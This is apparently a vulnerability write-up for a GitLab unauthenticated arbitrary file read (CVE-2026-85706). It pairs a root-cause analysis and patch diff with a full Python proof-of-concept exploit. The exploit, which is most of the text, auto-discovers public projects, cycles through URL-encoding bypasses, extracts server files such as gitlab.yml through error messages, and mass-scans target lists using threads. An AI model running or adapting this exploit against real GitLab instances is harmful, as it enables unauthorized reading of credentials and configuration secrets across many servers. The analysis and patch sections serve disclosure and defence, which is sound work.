#Summary

CVE-2026-85706 is a critical unauthenticated arbitrary file read vulnerability in GitLab Community Edition and Enterprise Edition. A URL parser differential between Workhorse and Grape combined with a missing authentication check allows an attacker to read arbitrary files as the GitLab application user. The vulnerability affects versions 18.7.0 through 19.3.1 and scores CVSS 10.0.

#Am I affected?

#How to check

#Version check

curl -s https://your-gitlab-instance/api/v4/version | jq .version

If the version matches the affected ranges above, your instance is vulnerable.

#Oracle probe

If you cannot determine the version, you can perform an existence-oracle check against a known public project:

# Replace YOUR-INSTANCE and PROJECT-ID with your values
curl -s -X POST \
  "https://YOUR-INSTANCE/api/v4/projects/PROJECT-ID/repository/%63ommits?file=&file.path=/nonexistent-test&file.size=1&Content-Type=application/x-www-form-urlencoded" \
  --path-as-is

Vulnerable response: HTTP 400 containing "local file not present"
Patched response: HTTP 401 containing "401 Unauthorized"

#Fix and mitigation

#Root cause analysis

The vulnerability is a chain of four independent weaknesses, each survivable alone but devastating together.

#Weakness 1: Attacker-controlled path reaches File operations

In lib/api/helpers/commits_body_uploader_helper.rb, the file_params_from_body_upload method directly reads request parameters and operates on them:

def file_params_from_body_upload
  file_path = params['file.path']
  bad_request!('local file not present') unless File.exist?(file_path)

  check_large_request_rate_limit!(params['file.size'])
  media_type = Rack::MediaType.type(params['Content-Type'])

  if media_type == 'multipart/form-data'
    env = {
      'CONTENT_TYPE' => params['Content-Type'],
      'CONTENT_LENGTH' => params['file.size'],
      'rack.input' => File.open(file_path),  # <-- attacker path opened
      ...
    }

These parameters (file.path, file.size, Content-Type) are meant to be injected only by GitLab Workhorse after buffering an upload to disk. Nothing verifies that, so a request that bypasses Workhorse's body uploader supplies its own values, and File.exist?, File.open, File.read, and Oj.load_file all operate on attacker-controlled paths.

#Weakness 2: File is read before authentication

In lib/api/commits.rb, the vulnerable route reads the file first:

post ':id/repository/commits' do
  require_gitlab_workhorse!

  attrs = file_params_from_body_upload  # <-- file read BEFORE authenticate!

  validate_string_param!(attrs, :branch)
  authorize_push_to_branch!(attrs[:branch])  # <-- first authenticate! call here
  ...
end

The only authentication gate that runs before the helper is the class-level before hook:

before do
  require_repository_enabled!
  authorize_read_code!  # <-- satisfied anonymously for public projects
  verify_pagination_params!
end

authorize_read_code! is satisfied by an anonymous user as long as one public project with its repository feature enabled exists on the instance. That is the "under certain conditions" mentioned in the advisory.

#Weakness 3: Type guard bypassed by blank value

The Grape type validator for uploaded files has a blank short-circuit:

class WorkhorseFile
  def self.parse(value)
    return if value.blank?  # <-- returns nil without raising
    raise "#{value.class} is not an UploadedFile type" unless parsed?(value)
    value
  end
end

A request with file= (empty value) passes Grape's presence validator and returns nil without ever checking is_a?(::UploadedFile).

#Weakness 4: Parser path differential

Workhorse matches its route regex against the still percent-encoded path:

// Go regex from workhorse/internal/upstream/routes.go, matched against r.URL.EscapedPath()
u.route("POST", newRoute(apiProjectPattern+`/repository/commits\z`, ...), requestBodyUploader)

With \z anchor, the regex /repository/commits\z does not match /repository/%63ommits (where %63 is a percent-encoded c). The request falls through to the generic proxy instead of Workhorse's body uploader.

Grape, on the other hand, compiles routes through Mustermann with URI decoding enabled:

Mustermann::Grape.new(path, uri_decode: true, ...)

So Grape routes /repository/%63ommits to the commits handler after decoding it. The request reaches the vulnerable Rails handler while Workhorse's uploader never ran, so the client's file.path parameter survives untouched.

Both require_gitlab_workhorse! checks still pass because Workhorse stamps its headers (Gitlab-Workhorse and Gitlab-Workhorse-Api-Request JWT) on the generic proxy route as well.

#How content is exfiltrated

The urlencoded parsing branch of the handler runs:

Rack::Utils.parse_nested_query(File.read(file_path))

Rack unescapes each fragment via URI.decode_www_form_component, which raises ArgumentError: invalid %-encoding (<fragment>) when it encounters a % not followed by two hex digits. GitLab interpolates this error into the HTTP 400 response:

rescue Rack::QueryParser::InvalidParameterError => e
  bad_request!("Invalid parameter: #{e.message}")

This echoes the offending file fragment verbatim. Rack splits the file on & and ; first and the first = second, so files without those delimiters are echoed whole in one request.

#Patch diff

#Authentication moved before file operations

  post ':id/repository/commits' do
    require_gitlab_workhorse!
+   authenticate!
 
    attrs = file_params_from_body_upload

The same one-line addition appears on the post and put routes for /repository/files/:file_path.

#File source changed to Workhorse-provided value

The core fix replaces direct parameter access with the Workhorse-finalized upload object:

  def file_params_from_body_upload
-   file_path = params['file.path']
-   bad_request!('local file not present') unless File.exist?(file_path)
+   uploaded_file = params[:file]
+   bad_request!('file is invalid') unless uploaded_file.is_a?(::UploadedFile)
 
-   check_large_request_rate_limit!(params['file.size'])
+   file_path = uploaded_file.path
+   bad_request!('local file not present') unless file_path.present? && File.exist?(file_path)
+
+   check_large_request_rate_limit!(uploaded_file.size)

params[:file] can only be an ::UploadedFile if Gitlab::Middleware::Multipart constructed it from a Workhorse-signed rewritten-fields set. Since the encoded-path bypass prevents Workhorse's body uploader from running, params[:file] is nil, and the request is rejected before any File call.

#Error messages no longer leak content

Defence-in-depth closes the exfiltration channel:

  rescue Rack::QueryParser::InvalidParameterError => e
-   bad_request!("Invalid parameter: #{e.message}")
+   bad_request!('Invalid parameter type')

#Proof of concept

#exploit.py - GitLab Arbitrary File Read PoC

#!/usr/bin/env python3
"""
CVE-2026-85706 - GitLab CE/EE unauthenticated arbitrary file read (path confinement + missing auth)
Affected: GitLab CE/EE 18.7.0-19.1.7, 19.2.0-19.2.5, 19.3.0-19.3.1
Type: Path traversal / arbitrary file read (unauthenticated)

An unauthenticated request can reach the repository commits/files upload endpoints and
supply its own `file.path` parameter, which the handler opens directly. Two things make
this reachable without credentials:

  * A Workhorse-vs-Grape URL parser differential: Workhorse matches the route regex against
    the still-percent-encoded path, so `/repository/%63ommits` (or a trailing slash, or a
    `.json` suffix) skips Workhorse's body uploader and is proxied generically. Grape decodes
    the same path and routes it to the real handler, so the client's `file.path` survives
    untouched instead of being replaced by a Workhorse-buffered temp file.
  * The route calls the vulnerable helper before it ever authenticates. The only gate that
    runs first is `authorize_read_code!`, satisfied anonymously as long as one public project
    with its repository feature enabled exists on the instance.

Content is exfiltrated through the urlencoded parse branch: Rack unescapes the file bytes and,
on any `%` that is not followed by two hex digits, raises an ArgumentError whose message
(containing the offending file fragment) is echoed back in the HTTP 400 body.

Usage:
  python exploit.py --host 192.168.1.10 --port 80
  python exploit.py --host https://gitlab.corp.com --file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
  python exploit.py --host 10.0.0.5 --port 8080 --project 1 --file /etc/passwd
  python exploit.py --list targets.txt --workers 20

Notes:
  * --file default is /etc/passwd. That file exists and is readable but contains no stray `%`,
    so its bytes cannot travel back through the echo channel - the exploit reports it as an
    existence-oracle positive and points you at a file that does echo (any GitLab config, e.g.
    /var/opt/gitlab/gitlab-rails/etc/gitlab.yml, which is ERB and full of `<%= ... %>`).
  * The project is auto-discovered from the public project listing when --project is omitted.
"""

import argparse
import http.client
import socket
import ssl
import sys
from urllib.parse import urlparse, quote

CVE_ID    = "CVE-2026-85706"
VULN_TYPE = "Arbitrary File Read"

# Trailing repository-path variants that make Grape route to the handler while Workhorse's
# `\z`-anchored regex misses. Independent bypasses - a proxy or WAF may normalise one but not
# another, so a robust run tries each in turn. `%63` is 'c', `%73` is 's'.
COMMIT_BYPASSES = ["repository/%63ommits", "repository/commits/",
                   "repository/commits.json", "repository/commit%73"]

TIMEOUT = 30


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


def _connect(host: str, port: int, use_tls: bool):
    if use_tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        return http.client.HTTPSConnection(host, port, timeout=TIMEOUT, context=ctx)
    return http.client.HTTPConnection(host, port, timeout=TIMEOUT)


def _raw_request(host: str, port: int, use_tls: bool, method: str, raw_path: str,
                 base_path: str = ""):
    """Send `raw_path` verbatim in the request line so percent-encoding is not collapsed.

    Returns (status, body_text). Raises on transport errors.
    """
    conn = _connect(host, port, use_tls)
    try:
        conn.request(method, base_path + raw_path, headers={"Host": _host_header(host, port, use_tls),
                                                             "Accept": "*/*"})
        resp = conn.getresponse()
        body = resp.read()
        try:
            text = body.decode("utf-8", "replace")
        except Exception:
            text = repr(body)
        return resp.status, text
    finally:
        conn.close()


def _host_header(host: str, port: int, use_tls: bool) -> str:
    default = 443 if use_tls else 80
    return host if port == default else f"{host}:{port}"


def _build_query(target_file: str, ctype: str) -> str:
    """Build the query string.

    The parameter names `file.path` / `file.size` contain literal dots and must reach Rack
    as flat keys, so they are never bracket-escaped. Only the values are percent-encoded.
    `file=` is intentionally empty: it satisfies Grape's presence check and takes the
    `return if value.blank?` short-circuit in the WorkhorseFile type guard.
    """
    fp = quote(target_file, safe="/")
    ct = quote(ctype, safe="/")
    return f"file=&file.path={fp}&file.size=1&Content-Type={ct}"


def _extract_echo(body: str):
    """Pull the leaked file fragment out of an 'invalid %-encoding (...)' error body."""
    marker = "invalid %-encoding ("
    i = body.find(marker)
    if i == -1:
        return None
    inner = body[i + len(marker):]
    j = inner.rfind(")")
    if j != -1:
        inner = inner[:j]
    return inner


def _classify(status: int, body: str) -> str:
    """Map (status, body) to an oracle state name."""
    if "invalid %-encoding" in body:
        return "echo"                      # file content came back verbatim
    if "local file not present" in body:
        return "absent"                    # File.exist? was false
    if "invalid byte sequence in UTF-8" in body:
        return "binary"                    # exists, binary, no content this way
    if "exceeded query limit" in body:
        return "toolarge"                  # exists, > limits
    if status == 401:
        return "clean"                     # exists, parsed clean, fell through to auth
    if status == 500:
        return "unreadable"                # exists but EACCES for the app user
    if "should be executed via GitLab Workhorse" in body:
        return "noworkhorse"               # request did not arrive via Workhorse
    if status == 404:
        return "notfound"                  # project id wrong / not anonymously readable
    return "other"


def _read_file(host: str, port: int, use_tls: bool, pid: str, target_file: str,
               base_path: str, bypass: str = None):
    """Attempt one arbitrary-read request. Returns (bypass_used, status, state, body)."""
    q = _build_query(target_file, "application/x-www-form-urlencoded")
    variants = [bypass] if bypass else COMMIT_BYPASSES
    last = None
    for v in variants:
        raw = f"/api/v4/projects/{pid}/{v}?{q}"
        try:
            status, body = _raw_request(host, port, use_tls, "POST", raw, base_path)
        except Exception as e:
            last = (v, None, "error", f"{e.__class__.__name__}: {e}")
            continue
        state = _classify(status, body)
        last = (v, status, state, body)
        # Any non-control state means this bypass reached the vulnerable handler.
        if state != "other" and "Invalid json" not in body:
            return last
    return last


def _discover_project(host: str, port: int, use_tls: bool, base_path: str):
    """Return the id of a public project with a repository, or None."""
    import json
    raw = f"/api/v4/projects?visibility=public&simple=true&per_page=100"
    try:
        status, body = _raw_request(host, port, use_tls, "GET", raw, base_path)
    except Exception:
        return None
    if status != 200:
        return None
    try:
        projects = json.loads(body)
    except Exception:
        return None
    for p in projects:
        if isinstance(p, dict) and p.get("id") is not None:
            return str(p["id"])
    return None


# --------------------------------------------------------------------------------------------
# Silent probe for scan mode
# --------------------------------------------------------------------------------------------

def _try_exploit(host: str, port: int, use_tls: bool, base_path: str = "",
                 project: str = None, target_file: str = "/etc/passwd") -> tuple:
    """Silent probe. Returns (success, evidence). Never prints or exits.

    Uses the file-existence differential, which is independent of whether the chosen file
    happens to echo: a vulnerable instance answers 'local file not present' for a bogus path
    and something else for a real one; a patched instance answers 401 for both.
    """
    try:
        pid = project or _discover_project(host, port, use_tls, base_path)
        if not pid:
            return False, "no anonymously-visible public project found"

        bogus = "/nonexistent-%s" % "zzq9x7"
        r_absent = _read_file(host, port, use_tls, pid, bogus, base_path)
        r_real   = _read_file(host, port, use_tls, pid, target_file, base_path)
        if r_absent is None or r_real is None:
            return False, "unreachable"

        s_absent = r_absent[2]
        s_real   = r_real[2]

        if s_absent == "noworkhorse" or s_real == "noworkhorse":
            return False, "request not proxied via Workhorse (misconfigured front-end)"

        # Patched build: authenticate! fires first, so every path is a flat 401.
        if s_absent == "absent" and s_real != "absent":
            # Vulnerable: existence oracle live. Prefer to report echoed content if any.
            if s_real == "echo":
                frag = (_extract_echo(r_real[3]) or "").replace("\n", "\\n")
                return True, "arbitrary read - '%s' echoed: %s" % (target_file, frag[:80])
            return True, "unauth arbitrary read - existence oracle live (project %s)" % pid
        return False, "existence oracle absent (patched or not vulnerable)"
    except Exception as e:
        return False, "error (%s)" % e.__class__.__name__


# --------------------------------------------------------------------------------------------
# Target parsing / scan
# --------------------------------------------------------------------------------------------

def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10,
         project: str = None, target_file: str = "/etc/passwd") -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        base = path.rstrip("/") if path not in ("", "/") else ""
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, base, project, target_file)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------------------------
# Single-target exploit
# --------------------------------------------------------------------------------------------

def exploit(host: str, port: int, use_tls: bool, target_file: str,
            base_path: str = "", project: str = None) -> None:
    header(host, port)

    step(1, "Locating a public project reachable anonymously...")
    pid = project
    if pid:
        print(f"        using supplied project id: {pid}")
    else:
        pid = _discover_project(host, port, use_tls, base_path)
        if not pid:
            done(False, "no anonymously-visible public project found - the read-code gate "
                        "needs one public repo; supply --project if you know one")
        print(f"        discovered public project id: {pid}")

    step(2, "Proving the existence oracle (unauthenticated File.exist? on a client path)...")
    bogus = "/nonexistent-%s" % "zzq9x7"
    r_absent = _read_file(host, port, use_tls, pid, bogus, base_path)
    if r_absent is None:
        done(False, "target unreachable")
    b_used, b_status, b_state, b_body = r_absent
    print(f"        bogus path via '{b_used}' -> HTTP {b_status} [{b_state}]")

    if b_state == "noworkhorse":
        section("SERVER RESPONSE", b_body)
        done(False, "request did not arrive via Workhorse - the front-end is misconfigured, "
                    "not patched. Send through nginx/Workhorse, not Puma directly")
    if b_state == "notfound":
        section("SERVER RESPONSE", b_body)
        done(False, f"project id {pid} not anonymously readable (404) - pick a public project")
    if b_state != "absent":
        # A patched instance answers 401 here (authenticate! runs before the helper).
        section("SERVER RESPONSE", b_body)
        done(False, "bogus path did not return 'local file not present' - the existence "
                    "oracle is closed, so the target is patched or not vulnerable")

    print("        bogus path returned 'local file not present' -> handler reached unauthenticated")

    step(3, f"Reading target file: {target_file}")
    r_real = _read_file(host, port, use_tls, pid, target_file, base_path)
    if r_real is None:
        done(False, "target unreachable while reading file")
    used, status, state, body = r_real
    print(f"        request via '{used}' -> HTTP {status} [{state}]")

    if state == "echo":
        content = _extract_echo(body) or body
        section(f"FILE CONTENT ({target_file})", content)
        first_line = content.strip().splitlines()[0] if content.strip() else "(empty fragment)"
        done(True, f"Unauthenticated arbitrary file read - '{target_file}' returned "
                   f"verbatim: {first_line[:120]}")

    if state == "clean":
        section("SERVER RESPONSE", body)
        done(True, f"Unauthenticated read confirmed - '{target_file}' EXISTS and is readable "
                   f"(parsed clean as a query string, HTTP 401). It has no stray '%', so its "
                   f"bytes cannot travel back through the echo channel. Point --file at any "
                   f"file containing a '%' not followed by two hex digits (e.g. a GitLab ERB "
                   f"config such as /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) to see content. "
                   f"The unauthenticated existence oracle (Step 2) is itself the vulnerability")

    if state == "unreadable":
        section("SERVER RESPONSE", body)
        done(True, f"Unauthenticated existence oracle confirmed - '{target_file}' EXISTS but is "
                   f"not readable by the application user (HTTP 500 / EACCES). Try a file owned "
                   f"by / readable to the gitlab-rails user")

    if state == "binary":
        section("SERVER RESPONSE", body)
        done(True, f"Unauthenticated existence oracle confirmed - '{target_file}' EXISTS but is "
                   f"binary; content does not return through this channel. Choose a text file "
                   f"containing a stray '%'")

    if state == "toolarge":
        section("SERVER RESPONSE", body)
        done(True, f"Unauthenticated existence oracle confirmed - '{target_file}' EXISTS but "
                   f"exceeds Rack's parse limits (>4MB or >=4096 '&'/';'). The oracle proves "
                   f"the vulnerability regardless")

    if state == "absent":
        section("SERVER RESPONSE", body)
        # Vulnerability already proven in step 2; this specific file is just missing.
        done(True, f"Unauthenticated arbitrary-read primitive confirmed (Step 2 oracle). The "
                   f"specific path '{target_file}' does not exist or is not readable by the "
                   f"application user")

    section("SERVER RESPONSE", body)
    done(False, f"Unexpected response state '{state}' - see body above")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:443/path)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port",    type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--file",    default="/etc/passwd",
                        help="Absolute path on the server to read (default: /etc/passwd)")
    parser.add_argument("--project", default=None,
                        help="Public project id or URL-encoded path (default: auto-discover)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls",    action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             project=args.project, target_file=args.file)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        base = path.rstrip("/") if path not in ("", "/") else ""
        exploit(host, port, use_tls, args.file, base_path=base, project=args.project)

#Usage

Single target with default file check:

python exploit.py --host 192.168.1.10 --port 80

Read a specific GitLab configuration file (contains percent signs):

python exploit.py --host https://gitlab.corp.com --file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml

Scan a list of targets:

python exploit.py --list targets.txt --workers 20

#Expected output (vulnerable target)

[STEP 1] Locating a public project reachable anonymously...
        discovered public project id: 1
[STEP 2] Proving the existence oracle (unauthenticated File.exist? on a client path)...
        bogus path via 'repository/%63ommits' -> HTTP 400 [absent]
        bogus path returned 'local file not present' -> handler reached unauthenticated
[STEP 3] Reading target file: /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
        request via 'repository/%63ommits' -> HTTP 400 [echo]

RESULT  : SUCCESS
EVIDENCE: Unauthenticated arbitrary file read - file content returned verbatim

#Expected output (patched target)

[STEP 2] Proving the existence oracle (unauthenticated File.exist? on a client path)...
        bogus path via 'repository/%63ommits' -> HTTP 401 [clean]

RESULT  : FAILURE
EVIDENCE: bogus path did not return 'local file not present' - the existence oracle is closed

#Exploitation notes

#References